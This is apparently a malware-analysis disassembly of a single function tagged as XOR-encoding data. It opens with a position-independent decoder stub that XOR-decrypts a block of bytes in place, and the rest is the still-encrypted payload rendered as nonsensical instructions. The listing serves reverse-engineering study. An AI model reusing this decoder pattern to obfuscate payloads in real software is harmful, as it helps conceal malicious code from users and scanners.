Function at 0x98f714
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x98f71a
pop ebp
sub ebp, 6
sub ebp, 0x58f714
jmp 0x98f778
jmp 0x98f781
mov eax, 0x58f714
add eax, ebp
add eax, 0x93
mov ecx, 0x5b6
mov edx, 0x4f2d85b
xor byte [eax], dl
inc eax
dec ecx
jne 0x98f798
jmp 0x98f7ab
rcl byte [esi + 0x5b67d2d0]
pop ebx
pop ebx
ficomp dword [edx + 0x5b5b5ba3]
pop eax
xchg esi, eax
jecxz 0x98f81c
pop ebx
pop ebx
pop ebx
loope 0x98f835
pop ebx
pop ebx
pop ebx
lodsb al, byte [esi]
mov ecx, 0xdad09358
push edi
pop ebx
pop ebx
pop ebx
pop eax
sahf
or ecx, dword [ebx]
xor esp, dword [ebx + 0x6a]
push esi
pop ebx
xor eax, dword [ecx + 0x5a5b109e]
ja 0x98f85f
xor esp, edi
in al, dx
out 0xb3, ax
pop esi
pop ebx
pop ebx
pop ebx
mov dl, 0x71
pop ebx
pop ebx
pop ebx
push cs
salc
aaa
jg 0x98f84f
rcr dh, 1
push ebx
pop ebx
pop ebx
pop ebx
ror dh, 1
push edi
pop ebx
pop ebx
pop ebx
rcl dh, 1
dec ebx
pop ebx
pop ebx
pop ebx
lcall 0x99d8, 0x596a59b2
pop edi
adc dl, byte [esi + ebx*8 - 0x51]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
push es
cdq
push edi
pop ebx
rcl bh, 1
jg 0x98f87c
pop edi
pop ebx
pop ebx
pop ebx
xor esp, dword [ebx + 0x6a]
push esi
pop ebx
xor eax, dword [ecx + 0x5a5b109e]
ja 0x98f8ac
or dh, byte [ebx + 0x5b5b5b5e]
mov dl, 0x6e
pop ecx
pop ebx
pop ebx
push cs
salc
aaa
jg 0x98f898
movsb byte es:[edi], byte [esi]
push edi
movsb byte es:[edi], byte [esi]
push ebx
mov bl, 0x3d
pop ebx
pop ebx
pop ebx
shl dh, 1
push ebx
pop ebx
pop ebx
pop ebx
push 0xd8896892
mov bl, 0x5e
xchg edx, eax
push 0x5eb3d889
adc edx, dword [edi + ebx*8 + 0x15]
pop ebx
pop ebx
pop ebx
push esp
rcl dword [ebx], cl
pop ebx
pop ebx
pop ebx
cmp eax, 0xdb6247d0
mov al, byte [0x41df54b3]
pop ebx
pop ebx
pop ebx
invalid
jle 0x98f8d2
fisttp word [esi + 0x5b]
pop ebx
pop ebx
sbb dh, byte [edx - 0x5b5b5b69]
jb 0x98f8a2
bound ebx, qword [edx - 0x28]
lcall 0xe6b2, 0x5fb3d85e
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
jb 0x98f8a9
bound ebx, qword [ecx - 0x28]
lcall 0xb3d8, 0x5fb1d85d
pop esi
mov dl, pe_nt_image_headers32
movsb byte es:[edi], byte [esi]
fdiv dword [ebx - 0x5b0f4da2]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
push es
cdq
push edi
pop ebx
push cs
sal byte [edi - 0x2ff1f3f3], 1
push edi
shl byte [esi], 1
push ebx
cmpsd dword [esi], dword es:[edi]
jmp 0xdaf6ca9b
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax + ebx*8 - 0x7d], edx
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax + ebx*8 + 0x31], edx
pop ebx
pop ebx
pop ebx
push 0x5489599b
ficomp word [esi + 0x5b]
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax + ebx*8 + 0x71], edx
pop edx
pop ebx
pop ebx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x65], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x65], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x65], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x65], ecx
push esp
fistp word [ebp + 0x5b]
pop ebx
pop ebx
rol byte [eax + esi*2 - 0x2ca72e7d], 1
pop esp
sbb al, 0xe0
pop ecx
pop ebx
pop ebx
pop ebx
mov dl, 0x2b
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
jecxz 0x98f9be
pop ebx
pop ebx
pop ebx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x65], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [ecx + ebx*8 - 0x7b], edx
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
jo 0x98f923
loopne 0x98f9e7
pop ebx
pop ebx
pop ebx
push esp
fisubr word [edi + 0x5b]
pop ebx
pop ebx
loop 0x98f9f2
pop ebx
pop ebx
pop ebx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x6e], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [ecx + ebx*8 - 0x7b], edx
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
or eax, 0xae70acd0
test al, 0xff
add eax, 0xa4a453b2
shr byte [eax + esi*2 + 0x5ffa8ae], 1
mov dl, 0x53
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
adc ebx, dword [edx + 0x5dd153bb]
sbb eax, 0x5ae2b3d0
pop ebx
pop ebx
pop ebx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [eax - 0x6e], ecx
pop ecx
mov dword [esi + ebx*8 + 0x5e], edx
pop ebx
pop ebx
pop ebx
ror dword [ebp + 0x1d], 1
dec ecx
mov dword [ecx + ebx*8 - 0x7b], edx
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
fisub dword [ebx + 0x5b5b265b]
fiadd dword [edx - 0x5b5b5b5c]
fisub dword [ebx + 0x5b5b5e5b]
fiadd dword [edx - 0x5b5b5b5c]
fisub dword [ebx + 0x5b5b5bdb]
fimul dword [edx + 0x5b5b5b5b]
fisub dword [ebx + 0x5b5b5bdb]
fimul dword [edx + 0x5b5b5b5b]
pop ebx
pop ebx
pop ebx
or eax, 0xab70acd0
test al, 0xff
add eax, 0xa4a5c0b2
movsb byte es:[edi], byte [esi]
rcr dword [ebp + 0x1d], 1
push 0x5ab39b92
push esp
fild word [ecx + 0x5b]
pop ebx
pop ebx
fimul dword [edx + 0x5b5b5b59]
sal byte [ebx + 0x70acd00d], 1
stosd dword es:[edi], eax
test al, 0xff
add eax, 0x5b5b5ae0
pop ebx
mov dl, 0x28
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
push es
jo 0x98fa88
push ebx
rcr byte [esp + eax + 0x6bed005], 1
cdq
push ebx
pop ebx
add al, 5
mov dl, 0x5f
pop ebx
pop ebx
pop ebx
test eax, 0xe33b5b14
dec edi
lodsb al, byte [esi]
add ebx, dword [ebx + 0x58]
sahf
ficomp dword [ebx + 0x5b5b58d1]
loop 0x98fa6b
pop ecx
pop ebx
pop ebx
loope 0x98fa27
adc dword [esi], esi
pushal
imul ecx, dword [ebx + 0x1b], 0x12
push esp
fisubr word [ebp - 0x4d5b5b5c]
pop edi
pop ebx
pop ebx
pop ebx
and al, 0x40
dec ecx
mov ebx, 0xe510651c
cmpsd dword [esi], dword es:[edi]
adc byte [edi], ah
lodsb al, byte [esi]
cmp ebx, dword [ebx + 0x65989b9b]
adc byte [ebp + 0xd], al
adc bl, ch
cmpsd dword [esi], dword es:[edi]
or eax, 0xafab1f10
wait
wait
wait
mov al, 0x43
sbb al, 0x61
adc cl, ah
wait
sbb al, 0x61
adc ah, dl
lahf
sbb ah, byte [ecx - 0x65]
wait
wait
wait
xchg esp, eax
pop ds
fstp qword [ebx + 0x4d989b9b]
sbb bl, byte [ebx + edx*4 - 0x65]
wait
wait
sbb dh, byte [edx - 0x6d]
wait
wait
wait
sbb ah, byte [edx - 0x65]
wait
wait
wait
xchg esp, eax
pop ds
dec ebx
std
adc byte [edx + ebx*2 + 0x7b189773], bl
xchg esp, eax
sbb ah, byte [ebx - 0x68]
wait
wait
wait
xchg esp, eax
push ds
xchg esi, eax
wait
wait
wait
std
adc byte [edx + ebx - 0x646b9b85], bl
wait
cwde
pop ecx
lcall 0x995c, 0x18d2d283
jb 0x98fb6c
jb 0x98fabd
wait
wait
wait
clc
and al, 0x85
aam 0x23
invalid
pop esi
lds edx, [ecx - 0x6c]
add ch, byte [ebp + 0x19f286c7]
push edx
shr dword [edx + 0x52525252], cl
pop ebp
xlatb
pop esp
push edx
push edx
push edx
invalid